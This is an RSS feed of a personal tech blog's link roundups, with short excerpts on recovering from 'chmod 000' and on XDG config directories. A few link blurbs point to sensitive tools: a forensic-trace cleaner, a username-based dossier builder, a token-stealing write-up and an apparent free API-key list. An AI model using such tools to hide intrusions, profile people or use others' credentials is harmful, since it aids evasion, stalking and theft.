<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Links on Ricky</title><link>https://995facee.rickylin.pages.dev/zh-tw/tags/links/</link><description>Recent content in Links on Ricky</description><generator>Hugo -- gohugo.io</generator><language>zh-tw</language><lastBuildDate>Wed, 10 Jun 2026 10:59:53 +0800</lastBuildDate><atom:link href="https://995facee.rickylin.pages.dev/zh-tw/tags/links/index.xml" rel="self" type="application/rss+xml"/><item><title>Articles</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260610-articles/</link><pubDate>Wed, 10 Jun 2026 10:59:53 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260610-articles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://pokeemerald.com/" target="_blank" rel="noopener">Pokemon Emerald in WebAssembly(https://github.com/tripplyons/pokeemerald-wasm)&lt;/a>&lt;/li>
&lt;li>&lt;strong>Github&lt;/strong>
&lt;ul>
&lt;li>&lt;a href="https://github.com/wxt-dev/wxt" target="_blank" rel="noopener">wxt: Next-gen Web Extension Framework&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/anthropics/defending-code-reference-harness" target="_blank" rel="noopener">Skills for threat modeling, scanning, triage, patching, plus an autonomous scanning harness you can &lt;code>/customize&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ad-si/awesome-3d-printing" target="_blank" rel="noopener">A curated list of awesome 3D printing resources&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/NousResearch/hermes-agent" target="_blank" rel="noopener">hermes-agent: It&amp;rsquo;s the only agent with a built-in learning loop - it creates skills from experience, improves them during use, nudges itself to persist knowledge, searches its own past conversations, and builds a deepening model of who you are across sessions. Run it on a $5 VPS, a GPU cluster, or serverless infrastructure that costs nearly nothing when idle. It&amp;rsquo;s not tied to your laptop - talk to it from Telegram while it works on a cloud VM.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mysk-research/loupe" target="_blank" rel="noopener">loupe: A privacy-focused iOS app that raises awareness about what native apps can see(https://apps.apple.com/cn/app/loupe-app%E8%83%BD%E7%9C%8B%E5%88%B0%E4%BB%80%E4%B9%88/id6766152470)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/RoversX/LaunchNext" target="_blank" rel="noopener">LaunchNext: Bring your Launchpad back in MacOS26+ ,highly customizable, powerful, free.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/skeeto/endlessh" target="_blank" rel="noopener">endlessh: SSH tarpit that slowly sends an endless banner&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/akerouanton/iptables-tracer" target="_blank" rel="noopener">iptables-tracer: Trace packets as they go through iptables chains&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/serverless-dns/serverless-dns" target="_blank" rel="noopener">serverless-dns: The RethinkDNS resolver that deploys to Cloudflare Workers, Deno Deploy, Fastly, and Fly.io&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ouch-org/ouch" target="_blank" rel="noopener">ouch: stands for Obvious Unified Compression Helper. It&amp;rsquo;s a CLI tool for compressing and decompressing various formats.(https://github.com/ouch-org/ouch#supported-formats)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/shell-pool/shpool" target="_blank" rel="noopener">shpool: shpool is a service that enables session persistence by allowing the creation of named shell sessions owned by shpool so that the session is not lost if the connection drops. shpool can be thought of as a lighter weight alternative to tmux or GNU screen. While tmux and screen take over the whole terminal and provide window splitting and tiling features, shpool only provides persistent sessions. The biggest advantage of this approach is that shpool does not break native scrollback or copy-paste.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/google/capslock" target="_blank" rel="noopener">capslock: is a capability analysis CLI for Go packages that informs users of which privileged operations a given package can access. This works by classifying the capabilities of Go packages by following transitive calls to privileged standard library operations.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/psviderski/unregistry" target="_blank" rel="noopener">unregistry: Push docker images directly to remote servers without an external registry&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Ranchero-Software/NetNewsWire" target="_blank" rel="noopener">NetNewsWire is a free and open-source feed reader for macOS and iOS. It supports RSS, Atom, JSON Feed, and RSS-in-JSON formats.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/k4yt3x/sysctl" target="_blank" rel="noopener">K4YT3X&amp;rsquo;s Hardened &amp;amp; Optimized Linux Kernel Parameters&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/tursodatabase/turso" target="_blank" rel="noopener">Turso is an in-process SQL database, compatible with SQLite.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/zizmorcore/zizmor" target="_blank" rel="noopener">zizmor is a static analysis tool for GitHub Actions.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/rustfs/rustfs" target="_blank" rel="noopener">RustFS is a high-performance, distributed object storage system built in Rust.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/jdx/usage" target="_blank" rel="noopener">Usage: is a spec and CLI for defining CLI tools. Arguments, flags, environment variables, and config files can all be defined in a Usage spec. It can be thought of like OpenAPI (swagger) for CLIs.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/MODSetter/SurfSense" target="_blank" rel="noopener">SurfSense: An open source, privacy focused alternative to NotebookLM for teams with no data limits.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/icann/icann-rdap" target="_blank" rel="noopener">ICANN implementation of the Registry Data Access Protocol (RDAP)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/openrdap/rdap" target="_blank" rel="noopener">OpenRDAP is a command line RDAP client implementation in Go.&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Article&lt;/strong>
&lt;ul>
&lt;li>&lt;a href="https://blog.ammaraskar.com/github-token-stealing/" target="_blank" rel="noopener">1-Click GitHub Token Stealing via a VSCode Bug&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.zhihu.com/question/590661860" target="_blank" rel="noopener">Linux 系统误将 chmod 权限改成 了 000，如何恢复?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ahelwer.ca/post/2026-05-08-builtin-u2f/" target="_blank" rel="noopener">Laptops all have built-in security tokens these days&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://tailscale.com/blog/tailscale-rustdesk-remote-desktop-access" target="_blank" rel="noopener">Tailscale and RustDesk: Secure remote access to all your desktops&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/" target="_blank" rel="noopener">Unexpected security footguns in Go&amp;rsquo;s parsers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://marvin.yabi.me/misc/junzishendoo.htm" target="_blank" rel="noopener">君子慎讀&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://marvin.yabi.me/misc/wenbai.htm" target="_blank" rel="noopener">辭典中標注的「讀音」和「語音」是什麼？&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://marvin.yabi.me/misc/AND.htm" target="_blank" rel="noopener">拜託別再「我汗你」了！&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="linux-系统误将-chmod-权限改成-了-000如何恢复">Linux 系统误将 chmod 权限改成 了 000，如何恢复?&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;sys/stat.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">int&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chmod&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/usr/bin/chmod&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">0755&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ which chmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/chmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ ls -lh /usr/bin/chmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>lrwxrwxrwx &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">8&lt;/span> Sep &lt;span style="color:#ae81ff">27&lt;/span> &lt;span style="color:#ae81ff">2025&lt;/span> /usr/bin/chmod -&amp;gt; gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ ls -lh /usr/bin/gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rwxr-xr-x &lt;span style="color:#ae81ff">1&lt;/span> root root 67K Jan &lt;span style="color:#ae81ff">23&lt;/span> 21:34 /usr/bin/gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ sudo chmod &lt;span style="color:#ae81ff">000&lt;/span> /usr/bin/chmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ ls -lh /usr/bin/chmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>lrwxrwxrwx &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">8&lt;/span> Sep &lt;span style="color:#ae81ff">27&lt;/span> &lt;span style="color:#ae81ff">2025&lt;/span> /usr/bin/chmod -&amp;gt; gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ ls -lh /usr/bin/gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---------- &lt;span style="color:#ae81ff">1&lt;/span> root root 67K Jan &lt;span style="color:#ae81ff">23&lt;/span> 21:34 /usr/bin/gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ cat main.c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include &amp;lt;sys/stat.h&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>int main&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> chmod&lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/usr/bin/chmod&amp;#34;&lt;/span>, 0755&lt;span style="color:#f92672">)&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> 0;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ gcc ./main.c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ sudo ./a.out
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ ls -lh /usr/bin/chmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>lrwxrwxrwx &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">8&lt;/span> Sep &lt;span style="color:#ae81ff">27&lt;/span> &lt;span style="color:#ae81ff">2025&lt;/span> /usr/bin/chmod -&amp;gt; gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ubuntu@ubuntu:~$ ls -lh /usr/bin/gnuchmod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rwxr-xr-x &lt;span style="color:#ae81ff">1&lt;/span> root root 67K Jan &lt;span style="color:#ae81ff">23&lt;/span> 21:34 /usr/bin/gnuchmod
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="laptops-all-have-built-in-security-tokens-these-days">Laptops all have built-in security tokens these days&lt;/h2>
&lt;h3 id="macos">macOS&lt;/h3>
&lt;blockquote>
&lt;p>&lt;a href="https://github.com/yubico/libfido2" target="_blank" rel="noopener">https://github.com/yubico/libfido2&lt;/a>&lt;/p></description></item><item><title>Articles</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260603-articles/</link><pubDate>Wed, 03 Jun 2026 10:07:17 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260603-articles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@0050211" target="_blank" rel="noopener">https://medium.com/@0050211&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://bitcoinbook-3nd-zh.doge.tg/" target="_blank" rel="noopener">精通比特幣&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://virtualosmuseum.org/" target="_blank" rel="noopener">https://virtualosmuseum.org/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://polypad.amplify.com/" target="_blank" rel="noopener">mathematical playground&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hub.twinkleai.tw/" target="_blank" rel="noopener">台灣資料的 MCP Hub&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kindyinfo.com/" target="_blank" rel="noopener">幼園通：幼兒園地圖查詢系統&lt;/a>&lt;/li>
&lt;li>&lt;strong>Github&lt;/strong>
&lt;ul>
&lt;li>&lt;a href="https://github.com/xiaolincoder/CS-Base" target="_blank" rel="noopener">小林 x 图解计算机基础&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Haxxnet/Compose-Examples" target="_blank" rel="noopener">Awesome Docker Compose Examples&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/studyplace-io/Golang-Concurrency-Pattern-Demo" target="_blank" rel="noopener">Golang-Concurrency-Pattern-Demo&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/quii/learn-go-with-tests" target="_blank" rel="noopener">Learn Go with Tests&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Admol/SystemDesign" target="_blank" rel="noopener">SystemDesign&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/erdong/prometheus-notes" target="_blank" rel="noopener">Prometheus Notes&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/rustcn-org/rust-algos" target="_blank" rel="noopener">Rust算法题解&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/jbranchaud/til" target="_blank" rel="noopener">📝 Today I Learned&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/GoogleCloudPlatform/golang-samples" target="_blank" rel="noopener">golang-samples&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/lifei6671/interview-go" target="_blank" rel="noopener">Golang 面试题搜集&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/xdite/learn-hack" target="_blank" rel="noopener">打造超人學習能力&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/smallnest/network_benchmark" target="_blank" rel="noopener">单机百万级别QPS 网络传输&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ruanyf/ai-test-case" target="_blank" rel="noopener">AI 编程的测试用例&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Andyyyy64/whichllm" target="_blank" rel="noopener">whichllm: Find the best local LLM that actually runs on your hardware.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/neuphonic/neutts" target="_blank" rel="noopener">NeuTTS: On-device TTS model by Neuphonic&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/simonoppowa/OpenNutriTracker" target="_blank" rel="noopener">OpenNutriTracker is a free and open source calorie tracker with a focus on simplicity and privacy.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/xai-org/x-algorithm" target="_blank" rel="noopener">Algorithm powering the For You feed on X&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/DigitalPlatDev/FreeDomain" target="_blank" rel="noopener">DigitalPlat FreeDomain: Free Domain For Everyone&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/antoinezambelli/forge" target="_blank" rel="noopener">forge: A Python framework for self-hosted LLM tool-calling and multi-step agentic workflows.&lt;/a>: Three ways to use it: Proxy server, WorkflowRunner, Guardrails middleware.&lt;/li>
&lt;li>&lt;a href="https://github.com/KeygraphHQ/shannon" target="_blank" rel="noopener">Shannon Lite is an autonomous, white-box AI pentester for web applications and APIs. It analyzes your source code, identifies attack vectors, and executes real exploits to prove vulnerabilities before they reach production.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/manaflow-ai/cmux" target="_blank" rel="noopener">cmux: Ghostty-based macOS terminal with vertical tabs and notifications for AI coding agents&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/superset-sh/superset" target="_blank" rel="noopener">superset: Code Editor for the AI Agents Era - Run an army of Claude Code, Codex, etc. on your machine&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/soxoj/maigret" target="_blank" rel="noopener">Maigret collects a dossier on a person by username only, checking for accounts on a huge number of sites and gathering all the available information from web pages. No API keys required.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/OpenBMB/VoxCPM" target="_blank" rel="noopener">VoxCPM2: Tokenizer-Free TTS for Multilingual Speech Generation, Creative Voice Design, and True-to-Life Cloning&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Donchitos/Claude-Code-Game-Studios" target="_blank" rel="noopener">Turn Claude Code into a full game dev studio — 49 AI agents, 72 workflow skills, and a complete coordination system mirroring real studio hierarchy.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/alistaitsacle/free-llm-api-keys" target="_blank" rel="noopener">https://github.com/alistaitsacle/free-llm-api-keys&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/helloianneo/ian-xiaohei-illustrations" target="_blank" rel="noopener">Ian Xiaohei Illustrations 是一个 Codex Skill，用来指导 AI Agent 为中文文章、帖子、博客、Notion 文档和方法论内容生成正文配图。&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/pewdiepie-archdaemon/odysseus" target="_blank" rel="noopener">odysseus: A self-hosted AI workspace &amp;ndash; meant to be the self-hosted version of the UI experience you get from ChatGPT and Claude. But with more jank and fun. Running on your own hardware, with your own data &amp;ndash; local-first, privacy-first, and no trojan.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mengxi-ream/read-frog" target="_blank" rel="noopener">🐸 Read Frog - Open Source Immersive Translate | 🐸 陪读蛙 - 开源沉浸式翻译&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/LiveContainer/LiveContainer" target="_blank" rel="noopener">LiveContainer is an app launcher (not emulator or hypervisor) that allows you to run iOS apps inside it.&lt;/a>: Allows you to install unlimited apps (3 app/10 app id free developer account limit does not apply here) with only one app &amp;amp; app id. You can also have multiple versions of an app installed with multiple data containers.&lt;/li>
&lt;li>&lt;a href="https://github.com/T8RIN/ImageToolbox" target="_blank" rel="noopener">Image Toolbox is a powerful app for advanced image manipulation. It offers dozens of features, from basic tools like crop and draw to filters, OCR, and a wide range of image processing options&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/evilsocket/nyx" target="_blank" rel="noopener">Nyx (goddess of the night in Greek mythology) is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/bobeff/open-source-games" target="_blank" rel="noopener">Open source games&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/golang/groupcache" target="_blank" rel="noopener">groupcache&lt;/a>
&lt;ul>
&lt;li>&lt;a href="https://github.com/groupcache/groupcache-go" target="_blank" rel="noopener">groupcache-go&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://github.com/Archeb/peer.as" target="_blank" rel="noopener">PEER.AS — explore global BGP routing, IP prefixes, ASNs, AS_PATH, origins and peering. The whole thing runs in your browser: there is no backend, no API, and no database server. The site is just a bundle of static files you can host, fork, or mirror anywhere.&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Tool&lt;/strong>
&lt;ul>
&lt;li>&lt;a href="https://instances.vantage.sh/" target="_blank" rel="noopener">ec2instances.info&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://imagefree.net/zh-Hant" target="_blank" rel="noopener">https://imagefree.net/zh-Hant&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Article&lt;/strong>
&lt;ul>
&lt;li>&lt;a href="https://xdgbasedirectoryspecification.com/" target="_blank" rel="noopener">XDG Base Directory Spec&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://zackoverflow.dev/writing/zig-vs-rust-in-2026/" target="_blank" rel="noopener">Zig vs Rust in 2026&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://emschwartz.me/your-clippy-config-should-be-stricter/" target="_blank" rel="noopener">Your Clippy Config Should Be Stricter&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blogblog.club/blogrollroll/" target="_blank" rel="noopener">部落卷卷&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://refactoringenglish.com/tools/hn-popularity/" target="_blank" rel="noopener">HN Popularity Contest&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blainsmith.com/articles/httptrace-with-go/" target="_blank" rel="noopener">Tracing HTTP Requests with Go&amp;rsquo;s &lt;code>net/http/httptrace&lt;/code>&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>免費 3D 列印模型網站&lt;/strong>
&lt;ul>
&lt;li>&lt;a href="https://makerworld.com" target="_blank" rel="noopener">MakerWorld&lt;/a>: Bambu Lab 官方模型平台。很多模型已經附好列印參數（3MF），下載後可直接列印。適合新手。&lt;/li>
&lt;li>&lt;a href="https://www.printables.com" target="_blank" rel="noopener">Printables&lt;/a>: Prusa 官方社群平台。高品質免費模型很多，分類清楚。實用工具、收納、機械零件特別豐富。&lt;/li>
&lt;li>&lt;a href="https://www.thingiverse.com" target="_blank" rel="noopener">Thingiverse&lt;/a>: 歷史最悠久的 3D 模型網站之一。免費模型數量非常大。&lt;/li>
&lt;li>&lt;a href="https://thangs.com" target="_blank" rel="noopener">Thangs&lt;/a>: 兼具模型搜尋引擎與模型平台。可以搜尋多個模型網站的內容。有免費也有付費模型。&lt;/li>
&lt;li>&lt;a href="https://cults3d.com" target="_blank" rel="noopener">Cults3D&lt;/a>: 設計師作品較多。公仔、模型、Cosplay 道具品質高。付費模型比例較高，但也有免費下載區。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="xdg-base-directory-spec">XDG Base Directory Spec&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Category&lt;/th>
&lt;th>Environment Variable&lt;/th>
&lt;th>Default Value&lt;/th>
&lt;th>FHS Approximation&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Configuration&lt;/td>
&lt;td>$XDG_CONFIG_HOME&lt;/td>
&lt;td>$HOME/.config&lt;/td>
&lt;td>/etc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Data&lt;/td>
&lt;td>$XDG_DATA_HOME&lt;/td>
&lt;td>$HOME/.local/share&lt;/td>
&lt;td>/usr/share&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>State&lt;/td>
&lt;td>$XDG_STATE_HOME&lt;/td>
&lt;td>$HOME/.local/state&lt;/td>
&lt;td>/var/lib&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Cache&lt;/td>
&lt;td>$XDG_CACHE_HOME&lt;/td>
&lt;td>$HOME/.cache&lt;/td>
&lt;td>/var/cache&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;path/filepath&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">getConfigDir&lt;/span>() (&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">configDir&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Getenv&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;XDG_CONFIG_HOME&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// If the value of the environment variable is unset, empty, or not an absolute path, use the default&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">configDir&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> &lt;span style="color:#f92672">||&lt;/span> &lt;span style="color:#a6e22e">configDir&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>:&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">homeDir&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">UserHomeDir&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">filepath&lt;/span>.&lt;span style="color:#a6e22e">Join&lt;/span>(&lt;span style="color:#a6e22e">homeDir&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;.config&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;my-application-name&amp;#34;&lt;/span>), &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// The value of the environment variable is valid; use it&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">filepath&lt;/span>.&lt;span style="color:#a6e22e">Join&lt;/span>(&lt;span style="color:#a6e22e">configDir&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;my-application-name&amp;#34;&lt;/span>), &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
